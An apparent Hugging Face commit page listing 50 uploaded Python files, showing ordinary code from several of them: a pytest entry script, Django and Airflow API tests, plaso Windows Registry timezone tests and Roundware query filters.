Pendigard commited on
Commit
226d218
·
verified ·
1 Parent(s): 04f42bc

Upload folder using huggingface_hub (part 107)

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. pool/shard009/Python/0084051_py.test-script.py +12 -0
  2. pool/shard009/Python/0084054_transit_subsidy_model_tests.py +139 -0
  3. pool/shard009/Python/0084055_test_provider_endpoint.py +123 -0
  4. pool/shard009/Python/0084059_timezone.py +191 -0
  5. pool/shard009/Python/0084064_filters.py +144 -0
  6. pool/shard009/Python/0084065_main.py +277 -0
  7. pool/shard009/Python/0084071_get_transform.py +30 -0
  8. pool/shard009/Python/0084074_init__.py +159 -0
  9. pool/shard009/Python/0084077_ident.py +90 -0
  10. pool/shard009/Python/0084079_decorators_tests.py +24 -0
  11. pool/shard009/Python/0084091_commit_view.py +139 -0
  12. pool/shard009/Python/0084100_SGS_fluid_stats.py +175 -0
  13. pool/shard009/Python/0084106_test_random.py +47 -0
  14. pool/shard009/Python/0084108_init__.py +18 -0
  15. pool/shard009/Python/0084113_removeapplicationrecordauthorization.py +34 -0
  16. pool/shard009/Python/0084116_news.py +22 -0
  17. pool/shard009/Python/0084117_sendone.py +32 -0
  18. pool/shard009/Python/0084118_image_annotator_client.py +179 -0
  19. pool/shard009/Python/0084120_main__.py +136 -0
  20. pool/shard009/Python/0084122_test_sqlite_utils.py +79 -0
  21. pool/shard009/Python/0084124_util_tests.py +185 -0
  22. pool/shard009/Python/0084132_sessions.py +43 -0
  23. pool/shard009/Python/0084135_test_complete_with_delayed_view_change.py +68 -0
  24. pool/shard009/Python/0084136_picklegzip.py +21 -0
  25. pool/shard009/Python/0084137_gather_nd_op_test.py +147 -0
  26. pool/shard009/Python/0084141_svm.py +127 -0
  27. pool/shard009/Python/0084147_test_search_community.py +89 -0
  28. pool/shard009/Python/0084148_test_rule_008.py +45 -0
  29. pool/shard009/Python/0084154_test_copy.py +215 -0
  30. pool/shard009/Python/0084155_leda.py +84 -0
  31. pool/shard009/Python/0084158_tasks.py +46 -0
  32. pool/shard009/Python/0084161_user.py +64 -0
  33. pool/shard009/Python/0084162_data_filegrab.py +93 -0
  34. pool/shard009/Python/0084169_models.py +138 -0
  35. pool/shard009/Python/0084170_Training.py +110 -0
  36. pool/shard009/Python/0084174_debug.py +66 -0
  37. pool/shard009/Python/0084189_ws4py_drayer.py +51 -0
  38. pool/shard009/Python/0084191_graphql_client.py +80 -0
  39. pool/shard009/Python/0084192_test_cache.py +129 -0
  40. pool/shard009/Python/0084195_rpc_request_message.py +39 -0
  41. pool/shard009/Python/0084199_redis_storage.py +157 -0
  42. pool/shard009/Python/0084202_messaging.py +199 -0
  43. pool/shard009/Python/0084205_0045_auto_20180607_1147.py +36 -0
  44. pool/shard009/Python/0084210_flags_seq.py +66 -0
  45. pool/shard009/Python/0084211_mimikatz_enum_chrome.py +123 -0
  46. pool/shard009/Python/0084213_scnet_semantic_head.py +28 -0
  47. pool/shard009/Python/0084226_runtests.py +40 -0
  48. pool/shard009/Python/0084227_date_demo2.py +46 -0
  49. pool/shard009/Python/0084233_dagda_cli_parser.py +117 -0
  50. pool/shard009/Python/0084242_prepare_release.py +158 -0
pool/shard009/Python/0084051_py.test-script.py ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!C:\work\Python36-32\python.exe
2
+ # EASY-INSTALL-ENTRY-SCRIPT: 'pytest==2.3.4','console_scripts','py.test'
3
+ __requires__ = 'pytest==2.3.4'
4
+ import re
5
+ import sys
6
+ from pkg_resources import load_entry_point
7
+
8
+ if __name__ == '__main__':
9
+ sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
10
+ sys.exit(
11
+ load_entry_point('pytest==2.3.4', 'console_scripts', 'py.test')()
12
+ )
pool/shard009/Python/0084054_transit_subsidy_model_tests.py ADDED
@@ -0,0 +1,139 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import time
2
+ from django.utils.unittest.case import skipIf
3
+ from datetime import datetime
4
+ from django.test import TestCase
5
+ from django.contrib.auth.models import User
6
+ from transit_subsidy.models import TransitSubsidy,TransitSubsidyForm,OfficeLocation
7
+ from django.contrib.auth.models import User
8
+
9
+ class TransportationSubsidyModelTest(TestCase):
10
+ fixtures = ['offices.json','users.json']
11
+
12
+ #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
13
+ def setUp(self):
14
+ """
15
+ Assumes valid user
16
+ """
17
+ self.user = User.objects.get(username='jimi')
18
+ is_logged_in = self.client.login(username='jimi',password='jimi')
19
+ self.assertTrue(is_logged_in, 'Client not able to login?! Check fixture data or User creation method in setUp.')
20
+ self.office = OfficeLocation.objects.order_by('city')[0]
21
+
22
+
23
+ def tearDown(self):
24
+ pass
25
+
26
+ #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
27
+
28
+
29
+ def test_wrong_days_at_work_should_cause_form_error(self):
30
+ data = self._get_good_post_data()
31
+ data['number_of_workdays'] = 50
32
+ t_form = TransitSubsidyForm( data )
33
+ self.assertFalse( t_form.is_valid() , "Should be a bad form for WORK DAYS")
34
+ data['number_of_workdays'] = -1
35
+ t_form = TransitSubsidyForm( data )
36
+ self.assertFalse( t_form.is_valid() , "Should be a bad form for WORK DAYS")
37
+
38
+
39
+ def test_wrong_amount_at_work_should_cause_form_error(self):
40
+ data = self._get_good_post_data()
41
+ data['amount'] = 500
42
+ t_form = TransitSubsidyForm( data )
43
+ self.assertFalse( t_form.is_valid() , "Should be a bad form for AMOUNT")
44
+ data['amount'] = -1
45
+ t_form = TransitSubsidyForm( data )
46
+ self.assertFalse( t_form.is_valid() , "Should be a bad form for AMOUNT")
47
+
48
+
49
+
50
+ def test_bad_ssn_should_cause_form_error(self):
51
+ data = self._get_good_post_data()
52
+ data['last_four_ssn'] = '*bZ'
53
+ t_form = TransitSubsidyForm( data )
54
+ self.assertFalse( t_form.is_valid() , "Should be a bad form SSN.")
55
+
56
+
57
+ def test_unicode_should_return_test_user(self):
58
+ self._set_transit_subsidy()
59
+ trans = TransitSubsidy.objects.filter(user=self.user)[0]
60
+ actual = unicode(trans).find('jimi')
61
+ self.assertTrue( actual > 0 )
62
+
63
+
64
+ def test_basic_transit_subsidy_model_creation(self):
65
+ self._set_transit_subsidy()
66
+ actual = TransitSubsidy.objects.filter(user=self.user)
67
+ self.assertEquals( self.user, actual[0].user, "Different users" )
68
+
69
+
70
+
71
+ def test_unicode_to_string(self):
72
+ expected = 'jimi'
73
+ self._set_transit_subsidy()
74
+ ts = TransitSubsidy.objects.filter(user=self.user)
75
+ actual = unicode(ts[0].user)
76
+ self.assertEquals( expected, actual, "Why this thing went horribly wrong." )
77
+
78
+
79
+ def test_enroll_then_cancel(self):
80
+ t = self._set_transit_subsidy()
81
+ id = t.pk
82
+ ts = TransitSubsidy.objects.get(pk=id)
83
+ _now = datetime.now()
84
+ time.sleep(.379987612123676871236) #try to throw a wrench in time
85
+ ts.date_withdrawn = _now
86
+ ts.save()
87
+ ts2 = TransitSubsidy.objects.get(pk=id)
88
+ self.assertEquals( ts2.date_withdrawn, _now, "These values should be the same" )
89
+ self.assertEquals( ts2.date_withdrawn, ts.date_withdrawn, "These values should be the same" )
90
+
91
+
92
+
93
+ #Util method
94
+ def _get_good_post_data(self):
95
+ return { 'date_enrolled' : datetime.now(),
96
+ 'timestamp' : datetime.now(),
97
+ 'data_withdrawn': None,
98
+ 'last_four_ssn': '1111',
99
+ 'origin_street': '123 Main St.',
100
+ 'origin_city':'Anytown',
101
+ 'origin_state':'OO',
102
+ 'origin_zip':'12345',
103
+ 'route_description': 'from here to there',
104
+ 'destination': self.office.id,
105
+ 'number_of_workdays': 20,
106
+ 'daily_roundtrip_cost' : 8,
107
+ 'daily_parking_cost': 4,
108
+ 'amount': 125,
109
+ 'terms_of_service' : True,
110
+ 'supervisor_approval': True}
111
+
112
+
113
+
114
+ def _set_transit_subsidy(self):
115
+ transit = TransitSubsidy()
116
+ office = OfficeLocation.objects.order_by('city')[0]
117
+
118
+ transit.user = self.user
119
+ transit.signature = 'foo'
120
+ transit.destination = office
121
+ transit.date_enrolled = '2011-06-23'
122
+ transit.date_withdrawn = None
123
+
124
+ transit.origin_street = '123 Main Street'
125
+ transit.origin_city = 'Anytown'
126
+ transit.origin_state = 'VA'
127
+ transit.origin_zip = '22222'
128
+ transit.route_description = "Harbor bus to City Subway stop to Work Subway"
129
+
130
+ transit.number_of_workdays = 20
131
+ transit.daily_roundtrip_cost = 8
132
+ transit.daily_parking_cost = 4
133
+ transit.amount = 8
134
+ transit.total_commute_cost = 160
135
+ transit.dc_wmta_smartrip_id = '123-123-123'
136
+
137
+ transit.save()
138
+ return transit
139
+
pool/shard009/Python/0084055_test_provider_endpoint.py ADDED
@@ -0,0 +1,123 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Licensed to the Apache Software Foundation (ASF) under one
2
+ # or more contributor license agreements. See the NOTICE file
3
+ # distributed with this work for additional information
4
+ # regarding copyright ownership. The ASF licenses this file
5
+ # to you under the Apache License, Version 2.0 (the
6
+ # "License"); you may not use this file except in compliance
7
+ # with the License. You may obtain a copy of the License at
8
+ #
9
+ # http://www.apache.org/licenses/LICENSE-2.0
10
+ #
11
+ # Unless required by applicable law or agreed to in writing,
12
+ # software distributed under the License is distributed on an
13
+ # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
14
+ # KIND, either express or implied. See the License for the
15
+ # specific language governing permissions and limitations
16
+ # under the License.
17
+
18
+ from collections import OrderedDict
19
+ from unittest import mock
20
+
21
+ import pytest
22
+
23
+ from airflow.security import permissions
24
+ from tests.test_utils.api_connexion_utils import create_user, delete_user
25
+
26
+ MOCK_PROVIDERS = OrderedDict(
27
+ [
28
+ (
29
+ 'apache-airflow-providers-amazon',
30
+ (
31
+ '1.0.0',
32
+ {
33
+ 'package-name': 'apache-airflow-providers-amazon',
34
+ 'name': 'Amazon',
35
+ 'description': '`Amazon Web Services (AWS) <https://aws.amazon.com/>`__.\n',
36
+ 'versions': ['1.0.0'],
37
+ },
38
+ ),
39
+ ),
40
+ (
41
+ 'apache-airflow-providers-apache-cassandra',
42
+ (
43
+ '1.0.0',
44
+ {
45
+ 'package-name': 'apache-airflow-providers-apache-cassandra',
46
+ 'name': 'Apache Cassandra',
47
+ 'description': '`Apache Cassandra <http://cassandra.apache.org/>`__.\n',
48
+ 'versions': ['1.0.0'],
49
+ },
50
+ ),
51
+ ),
52
+ ]
53
+ )
54
+
55
+
56
+ @pytest.fixture(scope="module")
57
+ def configured_app(minimal_app_for_api):
58
+ app = minimal_app_for_api
59
+ create_user(
60
+ app, # type: ignore
61
+ username="test",
62
+ role_name="Test",
63
+ permissions=[(permissions.ACTION_CAN_READ, permissions.RESOURCE_PROVIDER)],
64
+ )
65
+ create_user(app, username="test_no_permissions", role_name="TestNoPermissions") # type: ignore
66
+
67
+ yield app
68
+
69
+ delete_user(app, username="test") # type: ignore
70
+ delete_user(app, username="test_no_permissions") # type: ignore
71
+
72
+
73
+ class TestBaseProviderEndpoint:
74
+ @pytest.fixture(autouse=True)
75
+ def setup_attrs(self, configured_app) -> None:
76
+ self.app = configured_app
77
+ self.client = self.app.test_client() # type:ignore
78
+
79
+
80
+ class TestGetProviders(TestBaseProviderEndpoint):
81
+ @mock.patch(
82
+ "airflow.providers_manager.ProvidersManager.providers",
83
+ new_callable=mock.PropertyMock,
84
+ return_value={},
85
+ )
86
+ def test_response_200_empty_list(self, mock_providers):
87
+ response = self.client.get("/api/v1/providers", environ_overrides={'REMOTE_USER': "test"})
88
+ assert response.status_code == 200
89
+ assert response.json == {"providers": [], "total_entries": 0}
90
+
91
+ @mock.patch(
92
+ "airflow.providers_manager.ProvidersManager.providers",
93
+ new_callable=mock.PropertyMock,
94
+ return_value=MOCK_PROVIDERS,
95
+ )
96
+ def test_response_200(self, mock_providers):
97
+ response = self.client.get("/api/v1/providers", environ_overrides={'REMOTE_USER': "test"})
98
+ assert response.status_code == 200
99
+ assert response.json == {
100
+ 'providers': [
101
+ {
102
+ 'description': 'Amazon Web Services (AWS) https://aws.amazon.com/',
103
+ 'package_name': 'apache-airflow-providers-amazon',
104
+ 'version': '1.0.0',
105
+ },
106
+ {
107
+ 'description': 'Apache Cassandra http://cassandra.apache.org/',
108
+ 'package_name': 'apache-airflow-providers-apache-cassandra',
109
+ 'version': '1.0.0',
110
+ },
111
+ ],
112
+ 'total_entries': 2,
113
+ }
114
+
115
+ def test_should_raises_401_unauthenticated(self):
116
+ response = self.client.get("/api/v1/providers")
117
+ assert response.status_code == 401
118
+
119
+ def test_should_raise_403_forbidden(self):
120
+ response = self.client.get(
121
+ "/api/v1/providers", environ_overrides={'REMOTE_USER': "test_no_permissions"}
122
+ )
123
+ assert response.status_code == 403
pool/shard009/Python/0084059_timezone.py ADDED
@@ -0,0 +1,191 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """Tests for the timezone Windows Registry plugin."""
4
+
5
+ import unittest
6
+
7
+ from dfdatetime import filetime as dfdatetime_filetime
8
+ from dfwinreg import definitions as dfwinreg_definitions
9
+ from dfwinreg import fake as dfwinreg_fake
10
+
11
+ from plaso.parsers.winreg_plugins import timezone
12
+
13
+ from tests.parsers.winreg_plugins import test_lib
14
+
15
+
16
+ class WinRegTimezonePluginTest(test_lib.RegistryPluginTestCase):
17
+ """Tests for the timezone Windows Registry plugin."""
18
+
19
+ def _CreateTestKey(self, key_path, time_string):
20
+ """Creates Registry keys and values for testing.
21
+
22
+ Args:
23
+ key_path (str): Windows Registry key path.
24
+ time_string (str): key last written date and time.
25
+
26
+ Returns:
27
+ dfwinreg.WinRegistryKey: a Windows Registry key.
28
+ """
29
+ filetime = dfdatetime_filetime.Filetime()
30
+ filetime.CopyFromDateTimeString(time_string)
31
+ registry_key = dfwinreg_fake.FakeWinRegistryKey(
32
+ 'TimeZoneInformation', key_path=key_path,
33
+ last_written_time=filetime.timestamp, offset=153)
34
+
35
+ value_data = 'C:\\Downloads\\plaso-static.rar'.encode('utf_16_le')
36
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
37
+ '1', data=value_data, data_type=dfwinreg_definitions.REG_SZ,
38
+ offset=612)
39
+ registry_key.AddValue(registry_value)
40
+
41
+ value_data = b'\xff\xff\xff\xc4'
42
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
43
+ 'ActiveTimeBias', data=value_data,
44
+ data_type=dfwinreg_definitions.REG_DWORD_BIG_ENDIAN)
45
+ registry_key.AddValue(registry_value)
46
+
47
+ value_data = b'\xff\xff\xff\xc4'
48
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
49
+ 'Bias', data=value_data,
50
+ data_type=dfwinreg_definitions.REG_DWORD_BIG_ENDIAN)
51
+ registry_key.AddValue(registry_value)
52
+
53
+ value_data = b'\xff\xff\xff\xc4'
54
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
55
+ 'DaylightBias', data=value_data,
56
+ data_type=dfwinreg_definitions.REG_DWORD_BIG_ENDIAN)
57
+ registry_key.AddValue(registry_value)
58
+
59
+ value_data = '@tzres.dll,-321'.encode('utf_16_le')
60
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
61
+ 'DaylightName', data=value_data,
62
+ data_type=dfwinreg_definitions.REG_SZ)
63
+ registry_key.AddValue(registry_value)
64
+
65
+ value_data = (
66
+ b'\x00\x00\x03\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00')
67
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
68
+ 'DaylightStart', data=value_data,
69
+ data_type=dfwinreg_definitions.REG_BINARY)
70
+ registry_key.AddValue(registry_value)
71
+
72
+ value_data = b'\x00\x00\x00\x00'
73
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
74
+ 'DynamicDaylightTimeDisabled', data=value_data,
75
+ data_type=dfwinreg_definitions.REG_DWORD_BIG_ENDIAN)
76
+ registry_key.AddValue(registry_value)
77
+
78
+ value_data = b'\x00\x00\x00\x00'
79
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
80
+ 'StandardBias', data=value_data,
81
+ data_type=dfwinreg_definitions.REG_DWORD_BIG_ENDIAN)
82
+ registry_key.AddValue(registry_value)
83
+
84
+ value_data = '@tzres.dll,-322'.encode('utf_16_le')
85
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
86
+ 'StandardName', data=value_data,
87
+ data_type=dfwinreg_definitions.REG_SZ)
88
+ registry_key.AddValue(registry_value)
89
+
90
+ value_data = (
91
+ b'\x00\x00\x0A\x00\x05\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00')
92
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
93
+ 'StandardStart', data=value_data,
94
+ data_type=dfwinreg_definitions.REG_BINARY)
95
+ registry_key.AddValue(registry_value)
96
+
97
+ value_data = 'W. Europe Standard Time'.encode('utf_16_le')
98
+ registry_value = dfwinreg_fake.FakeWinRegistryValue(
99
+ 'TimeZoneKeyName', data=value_data,
100
+ data_type=dfwinreg_definitions.REG_SZ)
101
+ registry_key.AddValue(registry_value)
102
+
103
+ return registry_key
104
+
105
+ def testFilters(self):
106
+ """Tests the FILTERS class attribute."""
107
+ plugin = timezone.WinRegTimezonePlugin()
108
+
109
+ key_path = (
110
+ 'HKEY_LOCAL_MACHINE\\System\\ControlSet001\\Control\\'
111
+ 'TimeZoneInformation')
112
+ self._AssertFiltersOnKeyPath(plugin, key_path)
113
+
114
+ self._AssertNotFiltersOnKeyPath(plugin, 'HKEY_LOCAL_MACHINE\\Bogus')
115
+
116
+ def testProcessMock(self):
117
+ """Tests the Process function on created key."""
118
+ key_path = (
119
+ 'HKEY_LOCAL_MACHINE\\System\\ControlSet001\\Control\\'
120
+ 'TimeZoneInformation')
121
+ time_string = '2013-01-30 10:47:57'
122
+ registry_key = self._CreateTestKey(key_path, time_string)
123
+
124
+ plugin = timezone.WinRegTimezonePlugin()
125
+ storage_writer = self._ParseKeyWithPlugin(registry_key, plugin)
126
+
127
+ self.assertEqual(storage_writer.number_of_events, 1)
128
+ self.assertEqual(storage_writer.number_of_extraction_warnings, 0)
129
+ self.assertEqual(storage_writer.number_of_recovery_warnings, 0)
130
+
131
+ events = list(storage_writer.GetEvents())
132
+
133
+ expected_configuration = (
134
+ 'ActiveTimeBias: -60 '
135
+ 'Bias: -60 '
136
+ 'DaylightBias: -60 '
137
+ 'DaylightName: @tzres.dll,-321 '
138
+ 'DynamicDaylightTimeDisabled: 0 '
139
+ 'StandardBias: 0 '
140
+ 'StandardName: @tzres.dll,-322 '
141
+ 'TimeZoneKeyName: W. Europe Standard Time')
142
+
143
+ expected_event_values = {
144
+ 'configuration': expected_configuration,
145
+ 'date_time': '2013-01-30 10:47:57.0000000',
146
+ 'data_type': 'windows:registry:timezone',
147
+ 'key_path': key_path}
148
+
149
+ self.CheckEventValues(storage_writer, events[0], expected_event_values)
150
+
151
+ def testProcessFile(self):
152
+ """Tests the Process function on registry file."""
153
+ test_file_entry = self._GetTestFileEntry(['SYSTEM'])
154
+ key_path = (
155
+ 'HKEY_LOCAL_MACHINE\\System\\ControlSet001\\Control\\'
156
+ 'TimeZoneInformation')
157
+
158
+ win_registry = self._GetWinRegistryFromFileEntry(test_file_entry)
159
+ registry_key = win_registry.GetKeyByPath(key_path)
160
+
161
+ plugin = timezone.WinRegTimezonePlugin()
162
+ storage_writer = self._ParseKeyWithPlugin(
163
+ registry_key, plugin, file_entry=test_file_entry)
164
+
165
+ self.assertEqual(storage_writer.number_of_events, 1)
166
+ self.assertEqual(storage_writer.number_of_extraction_warnings, 0)
167
+ self.assertEqual(storage_writer.number_of_recovery_warnings, 0)
168
+
169
+ events = list(storage_writer.GetEvents())
170
+
171
+ expected_configuration = (
172
+ 'ActiveTimeBias: 240 '
173
+ 'Bias: 300 '
174
+ 'DaylightBias: -60 '
175
+ 'DaylightName: @tzres.dll,-111 '
176
+ 'DynamicDaylightTimeDisabled: 0 '
177
+ 'StandardBias: 0 '
178
+ 'StandardName: @tzres.dll,-112 '
179
+ 'TimeZoneKeyName: Eastern Standard Time')
180
+
181
+ expected_event_values = {
182
+ 'configuration': expected_configuration,
183
+ 'data_type': 'windows:registry:timezone',
184
+ 'date_time': '2012-03-11 07:00:00.0006424',
185
+ 'key_path': key_path}
186
+
187
+ self.CheckEventValues(storage_writer, events[0], expected_event_values)
188
+
189
+
190
+ if __name__ == '__main__':
191
+ unittest.main()
pool/shard009/Python/0084064_filters.py ADDED
@@ -0,0 +1,144 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from roundware.rw.models import (Event, Asset, ListeningHistoryItem, Tag, TagRelationship,
2
+ TagCategory, UIItem, UIGroup)
3
+ from distutils.util import strtobool
4
+ import django_filters
5
+
6
+ BOOLEAN_CHOICES = (('false', False), ('true', True),
7
+ (0, False), (1, True),)
8
+
9
+
10
+ class IntegerListFilter(django_filters.Filter):
11
+ def filter(self, qs, value):
12
+ if value not in (None, ''):
13
+ integers = [int(v) for v in value.split(',')]
14
+ return qs.filter(**{'%s__%s' % (self.name, self.lookup_type): integers})
15
+ return qs
16
+
17
+
18
+ class WordListFilter(django_filters.Filter):
19
+ def filter(self, qs, value):
20
+ if value not in (None, ''):
21
+ words = [str(v) for v in value.split(',')]
22
+ for word in words:
23
+ qs = qs.filter(**{'%s__%s' % (self.name, self.lookup_type): word})
24
+ return qs
25
+ return qs
26
+
27
+
28
+ class NanoNumberFilter(django_filters.NumberFilter):
29
+ def filter(self, qs, value):
30
+ value = round(value * 1000000000, 2)
31
+ return super(NanoNumberFilter, self).filter(qs, value)
32
+
33
+
34
+ class EventFilterSet(django_filters.FilterSet):
35
+ event_type = django_filters.CharFilter(lookup_type='icontains')
36
+ server_time = django_filters.DateTimeFilter(lookup_type='startswith')
37
+ server_time__lt = django_filters.DateTimeFilter(name='server_time', lookup_type='lt')
38
+ server_time__gt = django_filters.DateTimeFilter(name='server_time', lookup_type='gt')
39
+ session_id = django_filters.NumberFilter()
40
+ latitude = django_filters.CharFilter(lookup_type='startswith')
41
+ longitude = django_filters.CharFilter(lookup_type='startswith')
42
+ tag_ids = WordListFilter(name='tags', lookup_type='contains')
43
+
44
+ class Meta:
45
+ model = Event
46
+ fields = ['event_type',
47
+ 'server_time',
48
+ 'session_id',
49
+ 'latitude',
50
+ 'longitude',
51
+ 'tags']
52
+
53
+
54
+ class AssetFilterSet(django_filters.FilterSet):
55
+ session_id = django_filters.NumberFilter()
56
+ project_id = django_filters.NumberFilter()
57
+ tag_ids = IntegerListFilter(name='tags', lookup_type='in')
58
+ media_type = django_filters.CharFilter(name='mediatype')
59
+ language = django_filters.CharFilter(name='language__language_code')
60
+ envelope_id = django_filters.NumberFilter()
61
+ longitude = django_filters.NumberFilter(lookup_type='startswith')
62
+ latitude = django_filters.NumberFilter(lookup_type='startswith')
63
+ submitted = django_filters.TypedChoiceFilter(choices=BOOLEAN_CHOICES, coerce=strtobool)
64
+ audiolength__lte = NanoNumberFilter(name='audiolength', lookup_type='lte')
65
+ audiolength__gte = NanoNumberFilter(name='audiolength', lookup_type='gte')
66
+ created__lte = django_filters.DateTimeFilter(name='created', lookup_type='lte')
67
+ created__gte = django_filters.DateTimeFilter(name='created', lookup_type='gte')
68
+
69
+ class Meta:
70
+ model = Asset
71
+ fields = ['session',
72
+ 'project',
73
+ 'tags',
74
+ 'mediatype',
75
+ 'language',
76
+ 'envelope',
77
+ 'longitude',
78
+ 'latitude',
79
+ 'submitted',
80
+ 'audiolength',
81
+ 'created']
82
+
83
+
84
+ class ListeningHistoryItemFilterSet(django_filters.FilterSet):
85
+ duration__lte = django_filters.NumberFilter('duration', lookup_type='lte')
86
+ duration__gte = django_filters.NumberFilter('duration', lookup_type='gte')
87
+ start_time__gte = django_filters.DateTimeFilter(name='starttime', lookup_type='gte')
88
+ start_time__lte = django_filters.DateTimeFilter(name='starttime', lookup_type='lte')
89
+ start_time__range = django_filters.DateRangeFilter(name='starttime')
90
+
91
+ class Meta:
92
+ model = ListeningHistoryItem
93
+ fields = ['starttime',
94
+ 'session',
95
+ 'asset',
96
+ ]
97
+
98
+
99
+ class TagFilterSet(django_filters.FilterSet):
100
+ description = django_filters.CharFilter(lookup_type='icontains')
101
+ data = django_filters.CharFilter(lookup_type='icontains')
102
+
103
+ class Meta:
104
+ model = Tag
105
+
106
+
107
+ class TagCategoryFilterSet(django_filters.FilterSet):
108
+ name = django_filters.CharFilter(lookup_type='icontains')
109
+
110
+ class Meta:
111
+ model = TagCategory
112
+
113
+
114
+ class TagRelationshipFilterSet(django_filters.FilterSet):
115
+ tag_id = django_filters.NumberFilter()
116
+ parent_id = django_filters.NumberFilter()
117
+
118
+ class Meta:
119
+ model = TagRelationship
120
+
121
+
122
+ class UIGroupFilterSet(django_filters.FilterSet):
123
+ name = django_filters.CharFilter(lookup_type='startswith')
124
+ ui_mode = django_filters.TypedChoiceFilter(choices=UIGroup.UI_MODES)
125
+ tag_category_id = django_filters.NumberFilter()
126
+ select = django_filters.TypedChoiceFilter(choices=UIGroup.SELECT_METHODS)
127
+ active = django_filters.TypedChoiceFilter(choices=BOOLEAN_CHOICES, coerce=strtobool)
128
+ index = django_filters.NumberFilter()
129
+ project_id = django_filters.NumberFilter()
130
+
131
+ class Meta:
132
+ model = UIGroup
133
+
134
+
135
+ class UIItemFilterSet(django_filters.FilterSet):
136
+ ui_group_id = django_filters.NumberFilter()
137
+ index = django_filters.NumberFilter()
138
+ tag_id = django_filters.NumberFilter()
139
+ default = django_filters.TypedChoiceFilter(choices=BOOLEAN_CHOICES, coerce=strtobool)
140
+ active = django_filters.TypedChoiceFilter(choices=BOOLEAN_CHOICES, coerce=strtobool)
141
+ parent_id = django_filters.NumberFilter()
142
+
143
+ class Meta:
144
+ model = UIItem
pool/shard009/Python/0084065_main.py ADDED
@@ -0,0 +1,277 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
